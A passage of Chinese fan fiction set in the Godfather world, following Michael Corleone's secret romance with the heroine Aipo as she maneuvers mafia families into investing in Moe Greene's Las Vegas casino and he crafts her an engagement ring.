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>好不容易所有的碗盘都收进橱柜,所有的桌椅各就各位,她早早回了房间。他也想跟上去,可这样太明显了,于是他只能在起居室里坐着。
电视机里的黑白影像变幻,回放着总统的访谈。迈克尔完全没法集中注意力,脑海里全是她蜷缩在被子里的模样。
好不容易熬到电视结束,父母回屋睡觉,桑尼、汤姆带着老婆孩子回家,康妮打着哈欠上楼,弗雷多却拉住他,一定要他讲讲是怎么搞到那个女孩的。
他能怎么说,只能硬着头皮说瞎话。天知道他怎么知道女孩喜欢哪种衬衫颜色,他对她们毫无研究。他这十年年全用来钻研艾波了,她喜欢穿衬衫、但不喜欢古巴领子,也不喜欢海魂衫。
等该问的都问完,弗雷多那微胖的肚子里再也搜刮不出一点疑问,乖乖进房间,时间已经来到十一点。迈克尔又在楼道里站了半小时,等这幢房屋内的一切动静归于沉寂,才借着月光和远处绿荫道入口处水银灯的余晖,悄摸摸地翻到她的露台。
很幸运,在这个气温宜人的春夜,她没有锁落地窗的门。他轻而易举踏入她的房间,空气中弥漫着他永远闻不够的、独属于她的气息。
迈克尔并不想做什么,他只是想要确认她是否完好,精神、心情上的完好。
她是好好的。他站在那里,望着她露出的恬静睡脸,喜欢到想要把她一口吞进肚子里,永远地和自己融为一体。
“迈克…”她还是发现了他,嘟囔着说了一句他听不懂的中文,随即迷迷糊糊地掀开被子,“上来吧。”
迈克尔难以置信、一度以为她睡糊涂了。
直到两秒之后,她气呼呼地骂:“你上不上来!被子里的热气都要没了。”
他不迭地爬上床,小心翼翼地搂住她。
“不许动手动脚,”她合上了眼,睫毛在月光下微微抖动,美得让他灵魂发出喟叹,“不然就滚回去。”
——艾波,艾波……他在心中默念她的名字。
她渐渐在他怀里睡着了。
恍惚间,身体像是重新回到了某种状态,某种记忆产生之前的状态,安全感和无限的爱意充盈着胸膛,仿佛她在怀里,某个遗失的自我就找到了。
这么半梦半醒地躺到破晓,浅灰的晨光爬进地板,他回到了再次翻窗回到自己房间。躺在自己的床上,一切变得空虚且索然无味起来,好像他的魂儿还留存之前隔壁,留存在她那张床上。
迈克尔没办法,只能起来等她。他精细地打理了自己,眉毛、鬓角、鼻毛,每一处都得到妥善修剪,他要是绿化园丁,一定是最灵巧的那一位。
终于,他等到了她,可她被吓了一跳,打得真疼。
果然是艾波,出手真利落。他喜滋滋地想。结果,一时没有忍住,吻了她。
唉,他的意志力怎么那么薄弱。可她真的太可爱了,气鼓鼓地说话,他忍不住想和她亲热。
和她接吻永远是甜蜜愉悦的,她像是一口甜水井,他怎么喝都喝不够……母亲的声音及时打断了欲望的生长。
她凑到他的胸前擦嘴,那一瞬间他的呼吸都停止了,仿佛她的唇已经透过布料、皮肤、肌肉和骨骼,直愣愣地贴上他那颗加速运转的心脏。
后面的时间,迈克尔期待着和她的见面。他的生活陡然变得简单至极,仅分作有她的部分,和没有她出现的部分。
没有她的那一部分运作正常。他去征兵局办理手续,回高中打听帮他办过事的几位同学去向,他觉得自己像是电影里的机器,在灰白的背景里一丝不苟的运行。
只有她出现的时候,他变回了人类。晚霞是如此的美丽,行人是多么有趣,就连充斥着尾气的空气都格外不同。
直到她要去和那个程乔义吃饭。
但他有什么办法?她是艾波,没有人可能左右她。
万里云酒楼确实很美,充满东方神韵的同时,褪去了旧日的腐朽,变得恢弘大气。但这是她和程乔义的作品,一想到她们曾说说笑笑,畅想这座酒楼、畅想唐人街的未来,迈克尔的心底便不可遏止地涌现酸涩,像醉鬼哇哇吐着恶臭的酸水。
这股子酸臭瞧见程乔义后愈加明显。
他还是和以前一样瘦弱,像一根筷子,随时可以掰断。然而,迈克尔清楚他没有看上去那么简单。他惯于审时度势,总能讨艾波的欢心。
一如他们谈论的炝蟹,这是什么?一种用蓝蟹做的料理?迈克尔决定明天有空去市立图书馆翻翻书,至少以后艾波想吃了,他能给搞来。
“发生什么事了?”艾波一走,程乔义立刻开口问。
他话里的担忧不似作伪,这消解了一部分不讲道理的酸涩。迈克尔平心静气地把他知道的情况和盘托出,并说:“我不太清楚家族事务,但交易中心是她一手打造。强行剥夺,简直没有道理。”
程乔义笑了一声,莫名让他拳头发痒。但他不能质问他这个笑声的含义,也不能真的揍他,于是只能低头喝茶,以分散注意力,避免失态。
好在艾波很快回来了。
她点的菜果然很美味,酸甜可口,比咕咾肉更好吃。迈克尔吃着食物,听她和程乔义聊天。大多是他听不懂的音节,只偶尔蹿出几个熟悉的名字。
程乔义问他的打算,他如实答了。可她竟然拒绝了,理由十分充足——她没有办法了、她想回归正常的生活。
迈克尔想,他要是对她一见钟情、上周才认识,那他估计会被她哄住。可他足足认识了她十年。她和程乔义讨论时,眼里闪着光,是他熟悉的、自从第一次相遇就铭记的亮光,近乎灼人。
回家的路上,他再次确认:“你真的希望我现在就去新罕布什纳尔吗?”
“当然,”她的嗓音甜得让他想要吻她,“我已经决定念达特茅斯的经济了,我们可以租一小套公寓,我不想住学校宿舍,好不好,迈克学长——”
“好。”
既然她愿意骗他,那他就愿意信。
23.Chapter23
1945年四月中旬,那位扭转大萧条颓势、奠定新秩序的总统猝然离世。下旬,苏军攻入柏林,另一位举足轻重的人物在地堡深处饮弹自尽。
结束已经开始。战争仿佛饮饱了血、尝够了炮弹的猫,倦怠地甩着尾巴,即将离开人间。
纽约街头初现繁荣,长期横亘在人们心头的忧虑消散,无所忧虑的快乐笑容重新出现在行人的面庞,洋溢着对未来的期许。
“加西亚先生,相信我,这绝对是顶好的投资,稳赚不赔!维加斯首家赌场诞生四十年了,据说每年光利润就高达十万刀,这还是三几年的数字,二十年代的时候更赚钱!”
“也许吧,也许吧,”加西亚切着香肠,无所谓地耸肩,“这和我们有什么关系?”
“当然有。”年轻人压低嗓音,“格林阁下处处要求完美,连图纸都是意大利、纽约、洛杉矶建筑师们反复修改出来的,建赌场开支大,他认为委员会批给他的一百万美金远远不够。”
“一百万还不够?他想干嘛,造科隆纳宫?”同桌第三人质疑,“他可别把犹太人洗钱的花头学来用到我们身上。”
“格林阁下表示愿意公开账面给大家审查,只要把钱借给他,他什么都可以答应。”年轻人殷切地看向吃香肠的男人,“加西亚先生。”
加西亚喝了一大口葡萄酒,“入股赌场确实是个好生意,但是有两个问题——委员会的唐们允许我们直接参与吗?其次,如果一百万不够,那要多少够?我们从哪里弄来那么多钱?”
年轻人充满希望的声音:“唐们会答应的,毕竟我们在给他们分担压力。至于钱…大家凑凑总是够的。”
另一个人笑出声,“阿尔贝托,你真是个孩子,这可不是小数目,怎么凑得到呢?你知道一百万美金是什么概念吗?相当于两百个你一年的收入。”
名为阿尔贝托的年轻人涨红了脸,怒气冲冲地说:“总比你把钱白白丢进赛马强吧!”
那人一拍桌子站起来,嚷嚷着要给年轻人吃吃教训,阿尔贝托撸起袖子直接一拳过去,险些砸翻餐桌把加西亚气得跳起来,小餐馆老板连忙出来拉架。
隔着半人高的隔段和一张空桌,角落里的艾波收回目光,叉子继续卷着着盘子里的意面,细细的培根碎经由奶油酱和面条裹在一起,一口下去,浓郁的奶香与焦脆的烟熏交织在一起,让人想要吃第二口。
不愧是皇后区数一数二的意大利餐馆。
“下周五我去学校门口接你?”迈克尔问。
咽下嘴里的面条,艾波看向他。
男人穿着深黑的西装、白色衬衫配以深紫领带,周围光线并不明亮,只在她们座位右侧墙面有一盏双头壁灯,照得他的面庞格外深邃。这灯光也落在他的眼里,那双大大的眼睛,近乎贪婪地凝望她,好像她是什么看一眼少一眼的旧日遗迹。
“不许看我!”艾波瞪他,等他听话地别开眼,她才简洁地回答,“行。”
“你会想我吧?”他不确定地问,视线依旧维持着看向地面的角度,睫毛垂落,投下一片细密的阴影,沉静的神情,嘴里却絮絮叨叨:“周五我们先去吃饭,然后看电影,最近有一部《七重心》,我们可以看这个,看完就住进边上的酒店。那家酒店有宽阔的双人床,还有超大的浴缸……”
艾波以前真不知道这家伙这么唠叨,好在他在床上并不多话,或者说床上唠叨的那个人变成了她。
餐厅那头的争吵已经结束,店家重新铺上洁白的桌布、收拾一新,三人落座,再次交谈起来。
为首那人全名吉安尼.加西亚,他是巴西尼在皇后区的头目,负责放贷和□□活动,为人精明狠辣,曾一夜之内捣毁爱尔兰人的放贷据点,留下五具尸体给警方。
另外两位是撒.贝利尼和阿尔贝托.基里科。前者是加西亚的妻弟兼副手、嗜好赌如命,克莱门扎儿子乔设局让他赔得倾家荡产,不得不配合演这一场戏;后者是巴西尼家族一百二十至一百三十街区的行动组长,也是她这几年成功埋进几大家族的暗桩之一。
撒.贝利并不知晓阿尔贝托的底细,科里昂家族努力筹钱私下入股莫.格林生意的消息悄然扩散,他接到的指令是确保加西亚也产生该想法、进而提醒巴西尼。
加西亚说:“莫.格林和西海岸的安东尼奥.莫雷纳里谈妥了,以五万美金的价格买下两英亩和赌场执照,就在上周,施工队伍和工人已经入驻了。这确实是场好买卖。”
“可,”撒.贝利尼急切地说,“我们没有那么多钱。”
加西亚目光深邃地看向他,“萨利,钱不是问题。你有一点说对了,两百个阿尔的补贴就有一百万。”
红胡子的贝利尼一时没有反应过来,迟钝地啊了一声,反倒是阿尔贝托惊慌起来:“这、这不太好吧?大家会心甘情愿被扣收入吗?”
“日后会有分红嘛,”加西亚和蔼地笑着,“阿尔,正好通知大家这件事就交给你了。”
年轻人好像终于意识到自己做错了什么事,以及会掀起多大的怒火,想要推辞又被头领轻飘飘地几句话压回来,显得手足无措。
巴西尼是全美仅次于科里昂的黑手党家族,皇后区之于他,等同曼哈顿之于科里昂,是压舱石、地基般的存在。因而今天这步格外重要,她亲自到场辅助,做好了加西亚察觉到不对,她立刻出手,一枪处理掉他、让贝利尼背锅的最坏打算。
现在,听加西亚这样说,艾波便知道局面算是稳了,放下心来,再次将注意力转回来。对面的男人不知何时已经说到了康妮的订婚宴。
“我还是不喜欢那个卡洛.瑞奇,难以想象爸爸竟然接受了他。订婚宴的时间也很不讨喜。”趁她走神的时候,他的目光又移了回来,好像画笔轻柔地描摹她的五官神情。
他说的不讨喜指的是影响二人世界了。艾波哄他:“下周我们多做一做,提前把份额补齐。”
她蛮喜欢和他做.爱的,特别是在当下极费脑力、压力山大的情形,有一场酣畅淋漓的□□格外解压。并且事后那身体脱力、精神亢奋的状态,非常容易产生绝妙的点子。
“好。”他伸手握住她,眼底藏着熟悉的渴望,“吃好了吗?我们走吧。”
艾波点点头,由他领着走出餐馆,刚来到蓝天之下不算喧闹的街头,便被他圈进怀里急迫地吻起来。好像她是他盘子里的牛排,仍由他肆意享用。
明明这三周已经吻过无数次,与他接吻时,心脏仍然会动情地快速跳动,蹿上电流般的快乐,想要化作一滩水,永远地和他贴合在一起。
“你得走了,”唇齿勾缠的间隙,她抽身后退,微喘着提醒,“再迟你今晚就赶不到达特茅斯了。”
他追上来舔她的双唇,“我真的可以凌晨出发,明天早上赶到报道就行,我们可以去酒”
艾波偏头不给亲了,同时用力推开他:“适可而止,你给我
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滚去学校!好好上课!”
她晚上还有正事。对她来说,这不是结束的开始,而是开始的结束。
*
每一天,对迈克尔来说都是崭新的开始。
他爱艾波熟睡的模样。她的睡裙款式不多,只有三件,都是长及小腿的样式,粉紫欧根纱、深紫真丝和绵绸波点。她的睡相不算好,总是睡着睡着裙子卷上来,露出白白细细的一截肚子,随着呼吸规律地起伏。
他总是忍不住摸上去,比他掌心温度低一些,摸起来凉凉的。她则被他烫得眉间无意识地隆起褶皱,这时候他会轻轻地吻上去,好像这样就能抚平它们。
她总是扎着辫子睡觉,毛茸茸的碎发散在额角、额角和脖颈,可爱极了。睡着时的她总是格外温顺,身体放松,皮肤在月光下近乎莹润的光泽,宛如落入凡间的神祇,阿耳忒弥斯也不过如此吧。
他爱艾波颐指气使的模样。每晚搂着她睡,难免擦枪走火,大多数时候她会从书本里抬头,一掀眼皮,叫他憋着或自己解决。小部分幸运时刻,她会凶凶地揪住他的衣领,命令他抱她去椅子,因为她不想弄脏床单。
他爱艾波吃饭的模样。她从不挑食,对所有的菜肴一视同仁,每次都要吃尽碗里最后一粒米、用面包擦去碗里最后一点汤汁。她偷听隔壁桌谈话,那心不在焉的模样是那么可爱,让他由衷地想要亲吻。
那三个意大利裔又在说维加斯和莫.格林。这一定有她的手笔。他想。
他怀着隐秘地骄傲亲吻她,像是远行的人收纳行李,将她的一举一动刻进脑海,以便在没有她的、晦暗无趣的日子里拿出来回忆。
这回忆很快就用上来,只不过结果并不好。
那天晚上,躺在宿舍的单人床上辗转反侧,迈克尔回味着相处的点点滴滴,忽然惊觉,要是那天父亲夺去她权力的行为是真的,那么她和包括程乔义在内的等家族以外的人谈论拉斯维加斯的事务,是否存在一星半点的、背叛家族的可能?
真是这样,他又能怎么做?难道他能揭发她,让父亲或者桑尼处死她?还是说能把她关起来,永远做他的禁脔、剪去翅尖的鸟?
迈克尔不由苦笑,无论哪一种他都不舍得。哪怕想一想,心脏便不可遏止地产生钝痛,如同锈刀切割血肉,模糊成一片地疼。
她是艾波,她有权力做任何事。他愿意相信她,相信她对父母兄弟姐妹也怀着和他一样的爱。如果、如果真的有刀兵相向的那一天,他大概……会站在她那一边。
胡思乱想了一夜,第二天他正式回到久违的校园。
曾经朋友已经毕业,课堂上的同学要么和艾波同岁要么比她大一岁,他和他们不远不近地相处着。
前往书店采购教材,店员推销伍尔夫的书,他下意识地买了全部,“艾波会喜欢。”
路过水果摊时,他买了一兜橙子,“留到周五给艾波尝尝。”
就连吃早餐,他都会想起她,“这个面包太软,艾波一定不吃,这个咖啡味道不酸、加牛奶很适合艾波。”
……
等到这个周末,大半个学校的人都说他已婚,家里有一位妹妹那样的小妻子。
传言飘进迈克尔耳朵里的时候,他本人微微一愣,后知后觉地意识到,他确实该考虑结婚事宜了。
至少他该准备好戒指,等她说可以结婚的那一刻,将戒指拿出来,好证明他时刻期待着、盼望着与她共度一生。
24.Chapter24
某人去新罕纳什尔了,艾波的时间一下子充裕起来。倒不是他会占用她的时间,而是有他在的地方,她的注意力老是不够集中。
——他不说话,那张脸孔冷漠得像是闪烁锋芒的骑士铠甲,她想看;他一开口,浓郁的眉眼瞬间生动起来,像是壁炉里煨着的板栗,裂开一道香甜软糯的口子,她更是移不开眼。这家伙哪怕嘴巴里塞满卡梅拉强行投喂的蛋糕,依然帅得堪比明星……唔,应该说更加迷人。
迈克尔一离开,她不再分心,效率显著提高,所有工作有条不紊地展开,困难当然存在,但都是小问题,一切按照她的意志进行着。
康妮订婚晚宴这一天,纽约几大家族的部分高级成员悄悄抵达林荫道,混在亲朋好友之间,不算突兀。
莫.格林和未婚妻的父亲唐.维多.科里昂一道迎客。
艾波站在窗前,看着院门口那些客人。
教父们混到如今这地位,谨慎是必不可少的素质,如非波及统治的谈判不会轻易出场。事实上,他们愿意派来得力干将已属重视。毕竟,这只是一场小小的追加投资入股的吹风会。
“巴西尼家族的加西亚、斯特拉齐家族的马克和艾文斯、塔塔利亚家老大,哦还有罗斯手底下的罗萨托,人来得真齐。”佩吉低声感叹,“一个个的,看来都缺钱。”
“钱嘛,谁不嫌多呢?”艾波看向金发女孩,“怎么样?有没有兴趣参与这个项目?”
“我可没这胆子。”佩吉嗤笑一声,“五万刀一股,每年营业额百分之一的分红。我看啊,起码五年回本,我有这钱做什么不好?”
“诶,这你就错了,年利润没那么低。”艾波笑眯眯地算给她听,“战争即将结束,经济高速发展近在眼前,以牛奶、牙刷和皮鞋为例,一月为基准,计算了五个月的价格变化,指数呈逐步上升趋势”
“打住打住,”佩吉抱怨道,“经济学的恶心嘴脸,用一串专业术语把人脑袋搞乱,然后就可以掏人口袋里的钱了。反正我是一个字儿都不信的。”
艾波笑容扩大:“这些人也是这么想的。但人总有欲望,一个人说会赚钱时他不信,一百人说、他可能就犹豫着去相信了。”
“不过,”她话锋一转,“别看斯特拉齐家族来了两位,实际立场最坚定。”
家族首领安东尼.斯特拉齐,手底下握有码头工会和卡车工会,和政治机器联系紧密,内部组织力很强,不会轻易背叛。
“罗斯算得那么精,只怕在观望。”佩吉收敛笑意,若有所思地补充,“塔塔利亚一直是个软骨头,拿不出自己的主意。所以这场游戏的关键在于加西亚。”
“是啊……”艾波望着那个矮壮的意大利裔说。加西亚敢吃下这门生意,其他人自然入局,他要是不同意……那她只能物理意义上的自动换人了。只是这样事情会更变得麻烦,她讨厌麻烦。
她们说话的功夫,那头唐.维多.科里昂引着各家族高级成员进屋内,安排他们依次入座。这边康妮一身粉色纱裙、昂首挺胸地从餐厅走出来,高举左手,向大家展示无名指的订婚戒指,上面的钻石璀璨夺目。已经是未婚夫的卡洛.瑞泽跟在她的身后,面色激动,为近在咫尺的光辉前程。
“你和迈克什么时候办呀?”桑蒂诺站在她身后的台阶,笑着走下来。
艾波睨他。
“喂,你们不会以为能骗过我吧?”
艾波继续睨他。
“好吧好吧,是汤姆发现告诉我的,你就不想知道他是从哪里看出来的吗?”
“酒店账单?”
“哈哈!没这么麻烦。”桑蒂诺自得道,“是你们的肢体动作。汤姆说你们过于亲密,我还不相信,他指给我看,你弯腰拿东西的时候,只要他在你旁边,每次都会把手放你的后腰上。”
艾波回忆了一番,发现完全想不起来这一回事。
“要是我或者弗雷多这样动你,手早就被搞脱臼了。你俩肯定做过好多次,身体才会那么熟悉对方。在这样下去,搞不好复活节我能多个侄子了。”
越说越不像话,艾波翻白眼,“管好你自己。”
桑蒂诺摸摸鼻子,“我找你是想问,有什么要帮忙的?老头子给你布置了任务,我不过问,但关键时刻托你一把总是可以的。”
“你就不怕我抢你继承人的位置?”
“我不至于那么小气。而且——”桑蒂诺哈哈一笑,“等纽约姓科里昂了,我们再讨论这个问题也不迟。”
“这样啊,”她垂下眼眸,忽然想到一个绝妙的主意,“确实需要帮忙。等下吃过饭,我想和汤姆一起见见加西亚。”
桑蒂诺一怔,并未质疑,“好。”
“艾波!快来!”佩吉找好位置,招呼她过去。
这个角度非常适合欣赏未婚夫妻给大家表演的恩爱大戏——瑞奇深情地叙述对康妮的爱,康妮幸福得下一秒就要融化了。然后接吻、跳舞、开饭。
宴席吃到一半的时候,迈克尔风尘仆仆地进来,一身浅米色的西装,看起来很可口。
大家都在忙各自的事,没人告诉他坐哪里,艾波本想和他打招呼,但大哥的话飘过耳际,她莫名有些心虚。
这段时间确实太多回了,有一晚甚至九次……而过于放纵的理由说起来牵强。三周前,她杀鸡儆猴处理了几个胆敢往白面伸手的手下,动私刑到底与她的三观相悖,后面几天总做噩梦。那个周五后,很不可思议,她的状态竟然恢复正常了。好像能发泄掉这些不安。
几分钟后,卡梅拉发现落单的小儿子,把他推进对面男宾那一桌。落座后,他眼巴巴地看过来,眼底沉迷与委屈交相辉映,艾波硬起心肠不去瞧他。
过会儿有一场硬仗要打,每一句话、每一个词都很重要,她不能分心。
饭毕,气氛松弛,莫.格林描绘讲起维加斯酒店的宏伟蓝图,瑞奇作为内华达人、又被委以监督酒店建设的重任,十分有主人翁意识地凑过去,时不时插嘴指点一二。彻底忘了小未婚妻。
“康妮,带你的朋友们去吃些提拉米苏。”卡梅拉说,“把这里留给男人们。”
“好的妈妈,”落单的康妮撑起笑容,“我顺便给你们讲讲卡洛是怎么和我认识的吧?”
姑娘们叽叽喳喳地走向餐厅,桑蒂诺出现在起居室入口的仿罗马柱子旁,做了个准备好的手势。艾波落后一步:“掩护我一下,去谈个事情。”
佩吉保持看向康妮的笑容,微不可查地点点下颌。
一路避开众人来到隔壁桑蒂诺家,华贵的大理石门廊下,汤姆.黑根已经在等她了。
他没有废话,直接问:“要我怎么做?”
艾波没有立刻回答他,而是对不远处的纽扣人招招手:“有烟吗?给我一根。”
对方看了眼汤姆,见军师未阻止,才递上打火机和骆驼牌香烟。艾波接过,拇指轻顶叩开打火机,叼着烟淡淡说:“什么都不需要做,只要附和我就行。”
火苗簇地亮起,她缓缓吁出一口烟,勾唇笑道:“怎么?没想到我会抽烟?”
汤姆点头:“是的。”
艾波夹着香烟的手竖起大拇指:“不错,就是要这样附和我。”
这句话说完没过多久,院口拦闲客的锁链响动,纽扣人放进一名戴圆帽的身影,林荫道的路灯自后照亮,他的块头比平时看起来更粗壮。
艾波连忙把烟塞进嘴里迎上去,口齿不清地说:“加西亚阁下!久仰大名!”
相较于她的热情,吉安尼.加西亚态度不冷不热,“维太里小姐,黑根先生,我时间不多。”
“那我就长话短说了,我想我的事情您也有所耳闻。因为三个搞印刷的恶棍,唐把我的权力全部夺去了。唐人街的程帮我牵线和莫.格林谈了这桩入股募资的买卖。”艾波领着他朝门廊去,那里纽扣人较多,一旦谈崩、她随时可以借他们的枪。
加西亚却警惕心很高,径自往视觉盲区走,“我不喜欢太亮的地方谈事情。
等三人来到花园树篱下,艾波吐出一口烟,重新开口:“我是西西里人,有人这么侮辱西西里人,那么他一定会受到报复。加西亚先生,您能理解吧?”
“这是你们科里昂家族的个人恩怨。”他冷淡地说。可人却仍站在原地,没有要走的意思。
“什么事都是个人恩怨。”艾波叼着烟晃晃脑袋,“犹大出卖耶稣是个人恩怨,德国进攻法国也是个人恩怨。说句不好听的,汤姆今天赚得比我多,那特么的也是个人恩怨。”
加西亚礼貌提醒:“时间有限。”
艾波咧嘴,依旧慢悠悠说:“莫.格林的眼光很准,他的火烈鸟酒店将有四千间客房,涵盖扑克、桥牌、麻将等项目……这些您都知道。但最重要的是,维加斯赌博合法,只要乖乖交税,政府不会来查流水。这才是这桩生意的好处。”
意大利裔头目陷入沉默,艾波大大咧咧地继续:“以后我们可以像洗衣服一样洗收入,是吧,汤姆。你是高级执业律师,比我清楚这回事。”
“不错。”
“你们打算入多少股?”加西亚问。
艾波无所谓地耸肩:“至少四分之一吧,反正是科里昂家的钱。不够的话,可能要卖掉一些股票和债券,这样应该够了吧?汤姆?”
“是的,这样肯定够了。”汤姆回答。
“好吧,这个买卖确实很可靠,我会考、考虑转告巴西尼阁下的。”加西亚捻了捻胡须,慢条斯理地问,“那和迈克尔.科里昂怎么办?他的父亲、兄弟出意外的话,他一定不会再那么喜欢你吧?”
这真是一个简单至极的问题,甚至用不着撒谎,只要说出真实想法即可。艾波摆出笑脸,讲起八十年后司空见惯、现在却惊世骇俗的恋爱观,三言两语打消了他最后的疑虑——她在纽约地下世界站稳脚跟,某种意义上已经成为了事实上男人,享有他们的权力。这老东西共鸣了。
她和汤姆把加西亚送回老宅,两人在林荫道的入口安静地站了片刻,汤姆提出疑问:“艾波,你到底想要做什么?”
这时,佩吉跑出来,讲了那个好消息。
“想明白了吗?汤姆。”
“没有。”律师开玩笑,“换上西西里脑袋也不太够。”
艾波没说话。
毫无缘由的,她觉得那家伙能明白。
*
迈克尔在戒指上犯了难。
当初桑尼向桑德拉求婚,直接带她去了第五大道的蒂芙尼。
“他什么都没说,就让店员给我试戴戒指,我吃不准他是要送妈妈还是替爸爸办事送给某位大人物的家属。挑来挑去选了这一枚,想着又是钻石又是蓝宝石,十分华贵,送妈妈或者其他贵妇都合适。正要摘下来,这家伙来了一句,还能赶上订婚宴。”桑德拉每次提起这件事,神情总是半懊悔半生气,“早知道这样,我就选单颗红宝石的款式了,更摩登。”
桑尼的版本更简洁,“膝盖都没来得及弯,她就答应了。”
艾波可没那么容易糊弄,以她的警惕心,怕是远远瞧见店名就要调侃他是不是想求婚了。
迈克尔也想过向母亲讨要戒指。可他要怎么说?
——妈妈我有喜欢的女孩了,她的身份暂时不能告诉您,只能说我们是真爱,我想要和她共度一生。
母亲一定会向桑尼或者弗雷多打听,到时他和艾波的事就藏不住了。
购买当然是最好的选择。
但纽约有被认出的风险,于是他在某个没有课的周二驱车赶往波士顿,希望挑到一枚合适的戒指。
不能太华贵,要留给订婚戒指发挥空间。
不能太日常,那是婚戒的特征。
不能毫无新意,因为他的艾波独一无二。
要求很高吗?转遍所有珠宝店,愣是没有找到。
“你这要求还不高啊?”搭便车来波士顿面试的乔.布兰德利掏出烟盒,“来一根?”
迈克尔一面拒绝,一面发动车辆。艾波讨厌抽烟,总嘀咕二手烟的危害,搞得父亲、桑尼不能在餐厅拿出雪茄了。
布兰德利点燃香烟:“要我说,买一枚蒂芙尼的戒指得了,女孩都爱这些亮晶晶的东西。”
“开窗。”迈克尔提醒。周五回家也穿身上这件外套,他不想被艾波闻出烟味,误会他在学校抽烟了。
“你当了大兵怎么毛病反而多了,”布兰德利摇下车窗,说起今日报社的见闻,“乱得不可开交,市里出了好几件大案,都和放贷有关,至少四人死亡。有位编辑抱怨这群黑手党掉进钱眼里了,冒着弄死借贷人的风险也要回拢资金。波特兰好像也不太平。”
说到这里,他试探性开口:“你知道怎么回事吗?”
父亲的名字时常见诸报端,布兰德利又是搞新闻的,这时候试探一二倒在情理之中。
迈克尔回答:“不
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知道。别说我回来不过一个月,就是以前,他们也从不和我说生意。而且波士顿的事情,和纽约有什么关系。”
布兰德利不再追问,再次聊起求婚,“你真的打算现在就结婚?就那个姑娘了?我记得你以前对女孩完全没有兴趣。”
“当然,”迈克尔不由自主展露笑容,“她有着天使般的面容,绸缎般的皮肤,电影里的明星都没有她漂亮。这些都是表象,更重要的是她有一颗蓬勃的灵魂。我可以和她毫无顾虑地谈论任何严肃的话题,也可以仅仅讨论哪一种奶酪好吃。在她面前,我只是我。我们是恋人,更是朋友。”
起先布兰德利想要插嘴,等他说完,准记者沉默片刻,慢慢说:“既然这样,不如你亲手做一枚戒指吧。”
似乎是不错的主意。
说干就干,迈克尔没有选择绚烂的金属,他去到学校附近的林场,买下一棵风干的黑胡桃木,花费三个夜晚分解成木块,根据树纹选出最美的一小段。
木头过于朴素,他收来一枚古董戒指,拆下深紫色的蓝宝石,打算作为戒面镶嵌到木戒上去。返校第三个周末来临前,那块木头已经初具戒指形状了。
这三个周五,艾波以排练结束过晚、要住在佩吉家为由外宿。他们在酒店团聚,一周不见,她格外热情,最后总会做到脱力,软软地倚着他的胸膛,由他抱着洗澡,然后倦怠地埋进床铺。
不一会儿便传出均匀的呼吸。
室内所有的灯光都关闭了,落地窗窗帘半开,漏进一段浮华灯影。
他取出记录长度的绸带,小心翼翼地缠上她的无名指。瓷白的手指,迷离的光影,如同品尝禁果,屏住呼吸的禁忌。
她面朝着他,俏生生的脸庞,哪怕在梦中依然微翘着嘴角,让人下意识想要亲吻。
“唔…”她嘤咛一声,吓得迈克尔动作一顿,满肚子搜刮合理说辞。
好在她只是说梦话。这下,他不敢再走神,快速量好指围,收起做好标记的绸带,爬回大床自后拥住她。
她头发微潮,和他同款酒店洗发水,却有着安宁灵魂的气味。他深深呼吸着,牵起她的手轻轻一吻。
这个搅动东海岸黑暗势力的女人,独属于他。他想,他将与她分享荣耀、同担罪恶。
接下来的一整周,一下课他就奔往租住的公寓,没日没夜地雕刻、开凿、打磨、上油,最后安入宝石的时刻,布兰德利也在场。
光润的木头,璀璨的宝石,兼具雅拙之美,古怪得恰到好处的组合。
“这难道就是爱情的力量吗?”布兰德利摇头感叹,“哪怕是公主我都不愿意。”
迈克尔没理他,将戒指揣进口袋,“我要回纽约了,冰箱里还剩两瓶啤酒,你想喝就喝。我房间不许进去。”
这位曾是他同学和兄弟会成员的记者最近囊中羞涩,迈克尔秉持着积攒人脉的想法,慷慨地借公寓沙发给他睡。但提前可他说清楚了,最多借到等九月开学。
出门迟了,等开到纽约市正好遇上车流,堵到家时天色已经黑透。
家里灯火通明,林荫道的路灯下停着七八辆黑色轿车,迈克尔把车停到末尾,顺着油亮的轿车往前走。
因为是订婚宴,不宜高调,花园内并未挂彩灯,只在室内起居室摆了两长条餐桌,摆满羊排、火鸡、鲈鱼之类的佳肴。他一眼望见坐在食物后面的艾波,黑白翻领衬衫裙,暖色调的光线将她的小脸照得金灿灿的,一如既往的美丽。
母亲粗略地和他打招呼,又转去厨房了。艾波和朋友们聊得很开心,偶尔目光转来,轻描淡写地飘过,格外冷淡。
哪怕情侣的关系见不得光,可他们也是义兄妹呀,她为什么连笑脸都不给他一个?
坐下没多久,对面的女孩们嬉笑着离席。她也在其中,几个转身便消失了。这下他没了胃口,草草吃了些食物,站起身佯装社交地四处找她。
也许艾波有事在忙呢?这么想着,迈克尔来到葡萄架底下,四周没有灯、很安静,不远处屋子里飘出热闹的歌舞。花园里,弗雷多带小孩们找萤火虫,纽扣人在各个要冲聊天抽烟。
他坐下,静静地欣赏着这一切。
忽然之间,也许是风向变了,身后飘来她的声音。和一个喉咙被雪茄腐蚀的男声,他立刻想起返校前和她在皇后区吃的那顿午饭。是加西亚。
后头是桑尼的院子,和爸爸的院子隔着一重七英尺高的树篱笆,他悄悄靠过去。
他们谈论维加斯的生意,谈论入股莫.格林的酒店。不知怎么的,话题一偏,落到了他身上。
迈克尔瞬间全身血液凝固。他知道他们的关系!
然后,他听到艾波笑了,以一种天鹅绒相互摩擦的轻曼嗓音说道:“只是玩玩而已。就像你们男人一样,总有几个情人。我知道这很不意大利,但这是美国,只有法律和上帝能约束我。”
这一刻,迈克尔几乎能听到鼓噪的心跳,和冰渣般缓慢流动的血液,手颤抖起来、不由自主地伸进口袋里想要取暖,却触摸到了那枚戒指。
——木质温润、宝石锋利,花费五个日夜的戒指。
加西亚笑着问:“那程乔义呢?那个中国人。”
“乔义啊,”她轻松又快乐地说,“他才是我想要结婚的人。中国男人儒雅又内敛,非常适合做丈夫。而且他懂我。是吧,汤姆?”
仿佛大洪水中无力抵抗的人,迈克尔趔趄着瘫倒在地。
这里面一定有隐情,她不会说这样的话。
另一个声音怨毒地出现:不、她就是不爱你,她从没有把你放着心上,你看她和程乔义,那才是她喜欢的样子。
理智!迈克尔,用上你的大脑!她处在重要的时刻,桑尼也支持她,那个加西亚是敌人,她在诱骗他!
如同毒蛇吐信般的声音:理智?哈哈!迈克,到底谁不理智,到底谁是被情感左右的那一个?到底谁才是被诱骗的那一个?好好想想。
好好想想……
浑浑噩噩地坐在了不知道多久,直到客人全部散去,弗雷多呼喊他的名字。
